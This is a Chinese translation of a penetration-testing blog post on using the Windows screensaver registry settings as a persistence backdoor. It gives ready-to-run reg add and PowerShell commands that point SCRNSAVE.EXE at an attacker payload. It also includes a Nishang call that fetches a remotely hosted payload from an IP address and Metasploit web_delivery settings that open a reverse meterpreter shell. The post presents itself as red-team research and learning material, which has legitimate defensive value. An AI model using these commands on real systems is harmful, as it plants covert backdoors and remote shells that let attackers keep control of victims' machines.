屏幕保護是Windows功能的一部分,使用戶可以在一段時間不活動后放置屏幕消息或圖形動畫。眾所周知,Windows的此功能被威脅參與者濫用為持久性方法。這是因為屏幕保護程序是具有.scr文件擴展名的可執行文件,並通過scrnsave.scr實用程序執行。
屏幕保護程序設置存儲在注冊表中,從令人反感的角度來看,最有價值的值是:
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

屏幕保護程序–注冊表項
可以通過命令提示符或從PowerShell控制台修改或添加注冊表項。由於.scr文件本質上是可執行文件,因此兩個擴展名都可以用於后門植入。
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.scr
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\pentestlab.scr'


添加注冊表項– CMD和PowerShell
一旦機器不活動時間段過去,將執行任意有效載荷,並且將再次建立命令和控制的通信。

屏幕保護程序– Meterpreter
Nishang框架包含一個PowerShell腳本,該腳本也可以執行此攻擊,但與上述方法相比,它需要管理級別的特權,因為它在本地計算機中使用注冊表項來存儲將執行遠程托管有效負載的PowerShell命令。這種技術的好處是它不會接觸磁盤。
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

Nishang –屏幕保護程序后門
在這種情況下,可以使用Metasploit Web交付模塊生成並托管PowerShell負載。一旦用戶會話變為空閑,屏幕保護程序將執行PowerShell負載,然后將打開一個meterpreter會話。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit


Meterpreter –屏幕保護程序
利用屏幕保護程序的持久性技術的問題在於,當用戶返回並且系統未處於空閑模式時,會話將中斷。但是,紅隊可以在用戶不在時執行其操作。如果屏幕保護程序被組策略禁用,則該技術不能用於持久性。
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/09/persistence-screensaver/

